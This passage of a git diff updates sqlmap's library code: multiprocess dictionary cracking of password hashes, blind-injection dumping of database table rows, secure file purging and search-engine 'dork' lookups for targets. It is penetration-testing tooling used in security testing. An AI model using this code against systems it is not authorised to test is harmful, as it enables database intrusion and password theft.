retVal: - conf.hashDB.beginTransaction() - - while not retVal.empty(): - _, hash_, word = item = retVal.get(block=False) - hashDBWrite(hash_, word) - results.append(item) - - conf.hashDB.endTransaction() + _finalize(retVal, results, processes, attack_info) clearConsoleLine() @@ -739,6 +1222,9 @@ def dictionaryAttack(attack_dict): if processException: break + if any(_[0] == user and _[1] == hash_ for _ in results): + continue + count = 0 found = False @@ -751,96 +1237,94 @@ def dictionaryAttack(attack_dict): infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) - kb.wordlist.rewind() - retVal = None processes = [] try: - if _multiprocessing and not IS_WIN: + if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) + gc.disable() + retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): - p = _multiprocessing.Process(target=__bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, kb.wordlist, suffix, retVal, found_, i, count)) - processes.append(p) + process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) + processes.append(process) - for p in processes: - p.start() + for process in processes: + process.daemon = True + process.start() - for p in processes: - p.join() + while count.value > 0: + time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " - warnMsg += "not supported on this platform" + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) - class Value(): + class Value(object): pass - retVal = Queue() + retVal = _queue.Queue() found_ = Value() found_.value = False - __bruteProcessVariantB(user, hash_, kwargs, hash_regex, kb.wordlist, suffix, retVal, found_, 0, 1) + _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value except KeyboardInterrupt: - print + print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" - logger.warn(warnMsg) + logger.warning(warnMsg) for process in processes: - process.terminate() - process.join() + try: + process.terminate() + process.join() + except (OSError, AttributeError): + pass finally: - if retVal: - conf.hashDB.beginTransaction() - - while not retVal.empty(): - _, hash_, word = item = retVal.get(block=False) - hashDBWrite(hash_, word) - results.append(item) - - conf.hashDB.endTransaction() + _finalize(retVal, results, processes, attack_info) clearConsoleLine() results.extend(resumes) - fp = None - for user, hash_ in user_hash: - if not any(_[1] == hash_ for _ in results): - if fp is None: - handle, filename = tempfile.mkstemp(suffix=".txt") - os.close(handle) - fp = open(filename, "w+") - singleTimeLogMessage("writing uncracked hashes to file '%s' for eventual further processing" % filename) - if user and not user.startswith(DUMMY_USER_PREFIX): - fp.write("%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING))) - else: - fp.write("%s\n" % hash_.encode(UNICODE_ENCODING)) - if fp: - fp.close() - - if len(hash_regexes) == 0: - warnMsg = "unknown hash format. " - warnMsg += "Please report by e-mail to %s" % ML - logger.warn(warnMsg) + if foundHash and len(hash_regexes) == 0: + warnMsg = "unknown hash format" + logger.warning(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" - logger.warn(warnMsg) + logger.warning(warnMsg) return results + +def crackHashFile(hashFile): + i = 0 + attack_dict = {} + + check = None + for line in getFileItems(conf.hashFile): + if check is None and not attack_dict and ':' in line: + check = any(re.search(_, line) for _ in getPublicTypeMembers(HASH, True)) + + if ':' in line and check is False: + user, hash_ = line.split(':', 1) + attack_dict[user] = [hash_] + else: + attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [line] + i += 1 + + dictionaryAttack(attack_dict) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 39afc1c3e79..e7a88fc22cd 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,109 +1,193 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import hashlib +import os import sqlite3 +import struct import threading import time -from lib.core.common import getUnicode +from lib.core.common import getSafeExString from lib.core.common import serializeObject +from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject -from lib.core.settings import HASHDB_FLUSH_THRESHOLD -from lib.core.settings import UNICODE_ENCODING +from lib.core.compat import xrange +from lib.core.convert import getBytes +from lib.core.convert import getUnicode +from lib.core.data import logger +from lib.core.datatype import LRUDict +from lib.core.exception import SqlmapConnectionException +from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES +from lib.core.settings import HASHDB_FLUSH_RETRIES +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_ITEMS +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_TIME +from lib.core.settings import HASHDB_RETRIEVE_RETRIES +from lib.core.settings import IS_PYPY from lib.core.threads import getCurrentThreadData -from lib.core.threads import getCurrentThreadName +from thirdparty import six class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} + self._read_cache = LRUDict(capacity=100) self._cache_lock = threading.Lock() + self._connections = [] + self._last_flush_time = time.time() def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: - connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None) - threadData.hashDBCursor = connection.cursor() - threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") + try: + connection = sqlite3.connect(self.filepath, timeout=10, isolation_level=None, check_same_thread=False) + if not IS_PYPY: + connection.execute("PRAGMA journal_mode=WAL") + connection.execute("PRAGMA synchronous=NORMAL") + connection.execute("PRAGMA busy_timeout=10000") + self._connections.append(connection) + threadData.hashDBCursor = connection.cursor() + threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") + connection.commit() + except Exception as ex: + errMsg = "error occurred while opening a session " + errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) return threadData.hashDBCursor - cursor = property(_get_cursor) + def _set_cursor(self, cursor): + threadData = getCurrentThreadData() + threadData.hashDBCursor = cursor + + cursor = property(_get_cursor, _set_cursor) def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: + if self._write_cache: + self.flush() + threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None except: pass + def closeAll(self): + if self._write_cache: + self.flush() + + for connection in self._connections: + try: + connection.close() + except: + pass + @staticmethod def hashKey(key): - key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key) - retVal = int(hashlib.md5(key).hexdigest()[:8], 16) + key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace") + retVal = struct.unpack("<Q", hashlib.md5(key).digest()[:8])[0] & 0x7fffffffffffffff return retVal def retrieve(self, key, unserialize=False): retVal = None - if key: + + if key and (self._write_cache or self._connections or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) - retVal = self._write_cache.get(hash_, None) + retVal = self._write_cache.get(hash_) + + if retVal is None: + retVal = self._read_cache.get(hash_) + if not retVal: - while True: + for _ in xrange(HASHDB_RETRIEVE_RETRIES): try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] - except sqlite3.OperationalError, ex: - if not 'locked' in ex.message: - raise + except (sqlite3.OperationalError, sqlite3.DatabaseError) as ex: + if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")): + warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) + singleTimeWarnMessage(warnMsg) + elif "Could not decode" in getSafeExString(ex): + break + else: + errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) + errMsg += "If the problem persists please rerun with '--flush-session'" + raise SqlmapConnectionException(errMsg) else: break - return retVal if not unserialize else unserializeObject(retVal) + + time.sleep(1) + + if retVal is not None: + self._read_cache[hash_] = retVal + + if retVal and unserialize: + try: + retVal = unserializeObject(retVal) + except: + retVal = None + warnMsg = "error occurred while unserializing value for session key '%s'. " % key + warnMsg += "If the problem persists please rerun with '--flush-session'" + logger.warning(warnMsg) + + return retVal def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) - self._cache_lock.acquire() - self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) - self._cache_lock.release() + with self._cache_lock: + self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) + cache_size = len(self._write_cache) + time_since_flush = time.time() - self._last_flush_time - if getCurrentThreadName() in ('0', 'MainThread'): - self.flush() + if cache_size >= HASHDB_FLUSH_THRESHOLD_ITEMS or time_since_flush >= HASHDB_FLUSH_THRESHOLD_TIME: + self.flush() - def flush(self, forced=False): - if not self._write_cache: - return + def flush(self): + with self._cache_lock: + if not self._write_cache: + return - if not forced and len(self._write_cache) < HASHDB_FLUSH_THRESHOLD: - return - - self._cache_lock.acquire() - _ = self._write_cache - self._write_cache = {} - self._cache_lock.release() + flush_cache = self._write_cache + self._write_cache = {} + self._last_flush_time = time.time() try: self.beginTransaction() - for hash_, value in _.items(): + for hash_, value in flush_cache.items(): + retries = 0 while True: try: try: self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) - except sqlite3.OperationalError, ex: - if not any(_ in ex.message for _ in ('locked', 'I/O')): - raise + except (UnicodeError, OverflowError): # e.g. surrogates not allowed (Issue #3851) + break + except sqlite3.DatabaseError as ex: + if not os.path.exists(self.filepath): + debugMsg = "session file '%s' does not exist" % self.filepath + logger.debug(debugMsg) + break + + # NOTE: skipping the retries == 0 for graceful resolution of multi-threaded runs + if retries == 1: + warnMsg = "there has been a problem while writing to " + warnMsg += "the session file ('%s')" % getSafeExString(ex) + logger.warning(warnMsg) + + if retries >= HASHDB_FLUSH_RETRIES: + return else: + retries += 1 time.sleep(1) else: break @@ -113,15 +197,43 @@ def flush(self, forced=False): def beginTransaction(self): threadData = getCurrentThreadData() if not threadData.inTransaction: - self.cursor.execute('BEGIN TRANSACTION') - threadData.inTransaction = True + try: + self.cursor.execute("BEGIN TRANSACTION") + except: + try: + # Reference: http://stackoverflow.com/a/25245731 + self.cursor.close() + except sqlite3.ProgrammingError: + pass + threadData.hashDBCursor = None + self.cursor.execute("BEGIN TRANSACTION") + finally: + threadData.inTransaction = True def endTransaction(self): threadData = getCurrentThreadData() if threadData.inTransaction: + retries = 0 + while retries < HASHDB_END_TRANSACTION_RETRIES: + try: + self.cursor.execute("END TRANSACTION") + threadData.inTransaction = False + except sqlite3.OperationalError: + pass + except sqlite3.ProgrammingError: + self.cursor = None + threadData.inTransaction = False + return + else: + return + + retries += 1 + time.sleep(1) + try: - self.cursor.execute('END TRANSACTION') + self.cursor.execute("ROLLBACK TRANSACTION") except sqlite3.OperationalError: - pass + self.cursor.close() + self.cursor = None finally: threadData.inTransaction = False diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py new file mode 100644 index 00000000000..70d139ee244 --- /dev/null +++ b/lib/utils/pivotdumptable.py @@ -0,0 +1,188 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.bigarray import BigArray +from lib.core.common import Backend +from lib.core.common import filterNone +from lib.core.common import getSafeExString +from lib.core.common import isNoneValue +from lib.core.common import isNumPosStrValue +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import MAX_INT +from lib.core.settings import NULL +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.utils.safe2bin import safechardecode +from thirdparty.six import unichr as _unichr + +def pivotDumpTable(table, colList, count=None, blind=True, alias=None): + lengths = {} + entries = {} + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind + + validColumnList = False + validPivotValue = False + + if count is None: + query = dumpNode.count % table + query = agent.whereQuery(query) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) + + if hasattr(count, "isdigit") and count.isdigit(): + count = int(count) + + if count == 0: + infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table) + logger.info(infoMsg) + + for column in colList: + lengths[column] = len(column) + entries[column] = [] + + return entries, lengths + + elif not isNumPosStrValue(count): + return None + + for column in colList: + lengths[column] = 0 + entries[column] = BigArray() + + colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) + + if conf.pivotColumn: + for _ in colList: + if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): + infoMsg = "using column '%s' as a pivot " % conf.pivotColumn + infoMsg += "for retrieving row data" + logger.info(infoMsg) + + colList.remove(_) + colList.insert(0, _) + + validPivotValue = True + break + + if not validPivotValue: + warnMsg = "column '%s' not " % conf.pivotColumn + warnMsg += "found in table '%s'" % table + logger.warning(warnMsg) + + if not validPivotValue: + for column in colList: + infoMsg = "fetching number of distinct " + infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "") + logger.info(infoMsg) + + query = dumpNode.count2 % (column, table) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(value): + validColumnList = True + + if value == count: + infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "") + infoMsg += "for retrieving row data" + logger.info(infoMsg) + + validPivotValue = True + colList.remove(column) + colList.insert(0, column) + break + + if not validColumnList: + errMsg = "all provided column name(s) are non-existent" + raise SqlmapNoneDataException(errMsg) + + if not validPivotValue: + warnMsg = "no proper pivot column provided (with unique values)." + warnMsg += " It won't be possible to retrieve all rows" + logger.warning(warnMsg) + + pivotValue = " " + breakRetrieval = False + + def _(column, pivotValue): + if column == colList[0]: + query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) + else: + query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False) if SINGLE_QUOTE_MARKER not in dumpNode.query2 else pivotValue) + + query = agent.whereQuery(query) + return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) + + try: + for i in xrange(count): + if breakRetrieval: + break + + for column in colList: + value = _(column, pivotValue) + if column == colList[0]: + if isNoneValue(value): + try: + for pivotValue in filterNone((" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], _unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, _unichr(ord(pivotValue[0]) + 1))): + value = _(column, pivotValue) + if not isNoneValue(value): + break + except ValueError: + pass + + if isNoneValue(value) or value == NULL: + breakRetrieval = True + break + + pivotValue = safechardecode(value) + + if conf.limitStart or conf.limitStop: + if conf.limitStart and (i + 1) < conf.limitStart: + warnMsg = "skipping first %d pivot " % conf.limitStart + warnMsg += "point values" + singleTimeWarnMessage(warnMsg) + break + elif conf.limitStop and (i + 1) > conf.limitStop: + breakRetrieval = True + break + + value = "" if isNoneValue(value) else unArrayizeValue(value) + + lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + + warnMsg = "user aborted during enumeration. sqlmap " + warnMsg += "will display partial output" + logger.warning(warnMsg) + + except SqlmapConnectionException as ex: + errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) + errMsg += "will display partial output" + + logger.critical(errMsg) + + return entries, lengths diff --git a/lib/utils/progress.py b/lib/utils/progress.py new file mode 100644 index 00000000000..1bfb10656d9 --- /dev/null +++ b/lib/utils/progress.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import division + +import time + +from lib.core.common import dataToStdout +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb + +class ProgressBar(object): + """ + This class defines methods to update and draw a progress bar + """ + + def __init__(self, minValue=0, maxValue=10, totalWidth=None): + self._progBar = "[]" + self._min = int(minValue) + self._max = int(maxValue) + self._span = max(self._max - self._min, 0.001) + self._width = totalWidth if totalWidth else conf.progressWidth + self._amount = 0 + self._start = None + self.update() + + def _convertSeconds(self, value): + seconds = value + minutes = seconds // 60 + seconds = seconds - (minutes * 60) + + return "%.2d:%.2d" % (minutes, seconds) + + def update(self, newAmount=0): + """ + This method updates the progress bar + """ + + if newAmount < self._min: + newAmount = self._min + elif newAmount > self._max: + newAmount = self._max + + self._amount = newAmount + + # Figure out the new percent done, round to an integer + diffFromMin = float(self._amount - self._min) + percentDone = (diffFromMin / float(self._span)) * 100.0 + percentDone = round(percentDone) + percentDone = min(100, int(percentDone)) + + # Figure out how many hash bars the percentage should be + allFull = self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max)) + numHashes = (percentDone / 100.0) * allFull + numHashes = int(round(numHashes)) + + # Build a progress bar with an arrow of equal signs + if numHashes == 0: + self._progBar = "[>%s]" % (" " * (allFull - 1)) + elif numHashes == allFull: + self._progBar = "[%s]" % ("=" * allFull) + else: + self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes)) + + # Add the percentage at the beginning of the progress bar + percentString = getUnicode(percentDone) + "%" + self._progBar = "%s %s" % (percentString, self._progBar) + + def progress(self, newAmount): + """ + This method saves item delta time and shows updated progress bar with calculated eta + """ + + if self._start is None or newAmount > self._max: + self._start = time.time() + eta = None + else: + delta = time.time() - self._start + eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta + + self.update(newAmount) + self.draw(eta) + + def draw(self, eta=None): + """ + This method draws the progress bar if it has changed + """ + + dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) + if self._amount >= self._max: + dataToStdout("\r%s\r" % (" " * self._width)) + kb.prependFlag = False + + def __str__(self): + """ + This method returns the progress bar string + """ + + return getUnicode(self._progBar) diff --git a/lib/utils/purge.py b/lib/utils/purge.py new file mode 100644 index 00000000000..b1c0e6cd41e --- /dev/null +++ b/lib/utils/purge.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import functools +import os +import random +import shutil +import stat +import string + +from lib.core.common import getSafeExString +from lib.core.common import openFile +from lib.core.compat import xrange +from lib.core.convert import getUnicode +from lib.core.data import logger +from thirdparty.six import unichr as _unichr + +def purge(directory): + """ + Safely removes content from a given directory + """ + + if not os.path.isdir(directory): + warnMsg = "skipping purging of directory '%s' as it does not exist" % directory + logger.warning(warnMsg) + return + + infoMsg = "purging content of directory '%s'..." % directory + logger.info(infoMsg) + + filepaths = [] + dirpaths = [] + + for rootpath, directories, filenames in os.walk(directory): + dirpaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in directories) + filepaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in filenames) + + logger.debug("changing file attributes") + for filepath in filepaths: + try: + os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE) + except: + pass + + logger.debug("writing random data to files") + for filepath in filepaths: + try: + filesize = os.path.getsize(filepath) + with openFile(filepath, "w+") as f: + f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) + except: + pass + + logger.debug("truncating files") + for filepath in filepaths: + try: + with open(filepath, 'w') as f: + pass + except: + pass + + logger.debug("renaming filenames to random values") + for filepath in filepaths: + try: + os.rename(filepath, os.path.join(os.path.dirname(filepath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) + except: + pass + + dirpaths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) + + logger.debug("renaming directory names to random values") + for dirpath in dirpaths: + try: + os.rename(dirpath, os.path.join(os.path.dirname(dirpath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) + except: + pass + + logger.debug("deleting the whole directory tree") + try: + shutil.rmtree(directory) + except OSError as ex: + logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex))) diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py new file mode 100644 index 00000000000..35d0a77cbac --- /dev/null +++ b/lib/utils/safe2bin.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import binascii +import re +import string +import sys + +PY3 = sys.version_info >= (3, 0) + +if PY3: + xrange = range + text_type = str + string_types = (str,) + unichr = chr +else: + text_type = unicode + string_types = (basestring,) + +# Regex used for recognition of hex encoded characters +HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})" + +# Raw chars that will be safe encoded to their slash (\) representations (e.g. newline to \n) +SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" + +# Characters that don't need to be safe encoded +SAFE_CHARS = "".join([_ for _ in string.printable.replace('\\', '') if _ not in SAFE_ENCODE_SLASH_REPLACEMENTS]) + +# Prefix used for hex encoded values +HEX_ENCODED_PREFIX = r"\x" + +# Strings used for temporary marking of hex encoded prefixes (to prevent double encoding) +HEX_ENCODED_PREFIX_MARKER = "__HEX_ENCODED_PREFIX__" + +# String used for temporary marking of slash characters +SLASH_MARKER = "__SLASH__" + +def safecharencode(value): + """ + Returns safe representation of a given basestring value + + >>> safecharencode(u'test123') == u'test123' + True + >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf' + True + """ + + retVal = value + + if isinstance(value, string_types): + if any(_ not in SAFE_CHARS for _ in value): + retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) + retVal = retVal.replace('\\', SLASH_MARKER) + + for char in SAFE_ENCODE_SLASH_REPLACEMENTS: + retVal = retVal.replace(char, repr(char).strip('\'')) + + for char in set(retVal): + if not (char in string.printable or isinstance(value, text_type) and ord(char) >= 160): + retVal = retVal.replace(char, '\\x%02x' % ord(char)) + + retVal = retVal.replace(SLASH_MARKER, "\\\\") + retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX) + elif isinstance(value, list): + for i in xrange(len(value)): + retVal[i] = safecharencode(value[i]) + + return retVal + +def safechardecode(value, binary=False): + """ + Reverse function to safecharencode + """ + + retVal = value + if isinstance(value, string_types): + retVal = retVal.replace('\\\\', SLASH_MARKER) + + while True: + match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) + if match: + retVal = retVal.replace(match.group("result"), unichr(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) + else: + break + + for char in SAFE_ENCODE_SLASH_REPLACEMENTS[::-1]: + retVal = retVal.replace(repr(char).strip('\''), char) + + retVal = retVal.replace(SLASH_MARKER, '\\') + + if binary: + if isinstance(retVal, text_type): + retVal = retVal.encode("utf8", errors="surrogatepass" if PY3 else "strict") + + elif isinstance(value, (list, tuple)): + for i in xrange(len(value)): + retVal[i] = safechardecode(value[i]) + + return retVal diff --git a/lib/utils/search.py b/lib/utils/search.py new file mode 100644 index 00000000000..985226891fb --- /dev/null +++ b/lib/utils/search.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import socket + +from lib.core.common import getSafeExString +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.common import readInput +from lib.core.common import urlencode +from lib.core.convert import getBytes +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.enums import REDIRECTION +from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import BING_REGEX +from lib.core.settings import DUCKDUCKGO_REGEX +from lib.core.settings import DUMMY_SEARCH_USER_AGENT +from lib.core.settings import GOOGLE_CONSENT_COOKIE +from lib.core.settings import GOOGLE_REGEX +from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE +from lib.core.settings import UNICODE_ENCODING +from lib.request.basic import decodePage +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib +from thirdparty.socks import socks + +def _search(dork): + """ + This method performs the effective search on Google providing + the google dork and the Google session cookie + """ + + if not dork: + return None + + page = None + data = None + requestHeaders = {} + responseHeaders = {} + + requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) + requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE + requestHeaders[HTTP_HEADER.COOKIE] = GOOGLE_CONSENT_COOKIE + + try: + req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders) + conn = _urllib.request.urlopen(req) + except Exception as ex: + errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) + raise SqlmapConnectionException(errMsg) + + gpage = conf.googlePage if conf.googlePage > 1 else 1 + logger.info("using search result page #%d" % gpage) + + url = "https://www.google.com/search?" # NOTE: if consent fails, try to use the "http://" + url += "q=%s&" % urlencode(dork, convall=True) + url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" + url += "&start=%d" % ((gpage - 1) * 100) + + try: + req = _urllib.request.Request(url, headers=requestHeaders) + conn = _urllib.request.urlopen(req) + + requestMsg = "HTTP request:\nGET %s" % url + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + page = conn.read() + code = conn.code + status = conn.msg + responseHeaders = conn.info() + + responseMsg = "HTTP response (%s - %d):\n" % (status, code) + + if conf.verbose <= 4: + responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) + elif conf.verbose > 4: + responseMsg += "%s\n%s\n" % (responseHeaders, page) + + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + except _urllib.error.HTTPError as ex: + try: + page = ex.read() + responseHeaders = ex.info() + except Exception as _: + warnMsg = "problem occurred while trying to get " + warnMsg += "an error page information (%s)" % getSafeExString(_) + logger.critical(warnMsg) + return None + except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError): + errMsg = "unable to connect to Google" + raise SqlmapConnectionException(errMsg) + + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + + page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) + + retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] + + if not retVal and "detected unusual traffic" in page: + warnMsg = "Google has detected 'unusual' traffic from " + warnMsg += "used IP address disabling further searches" + + if conf.proxyList: + raise SqlmapBaseException(warnMsg) + else: + logger.critical(warnMsg) + + if not retVal: + message = "no usable links found. What do you want to do?" + message += "\n[1] (re)try with DuckDuckGo (default)" + message += "\n[2] (re)try with Bing" + message += "\n[3] quit" + choice = readInput(message, default='1') + + if choice == '3': + raise SqlmapUserQuitException + elif choice == '2': + url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) + regex = BING_REGEX + else: + url = "https://html.duckduckgo.com/html/" + data = "q=%s&s=%d" % (urlencode(dork, convall=True), (gpage - 1) * 30) + regex = DUCKDUCKGO_REGEX + + try: + req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders) + conn = _urllib.request.urlopen(req) + + requestMsg = "HTTP request:\nGET %s" % url + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + page = conn.read() + code = conn.code + status = conn.msg + responseHeaders = conn.info() + page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) + + responseMsg = "HTTP response (%s - %d):\n" % (status, code) + + if conf.verbose <= 4: + responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) + elif conf.verbose > 4: + responseMsg += "%s\n%s\n" % (responseHeaders, page) + + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + except _urllib.error.HTTPError as ex: + try: + page = ex.read() + page = decodePage(page, ex.headers.get("Content-Encoding"), 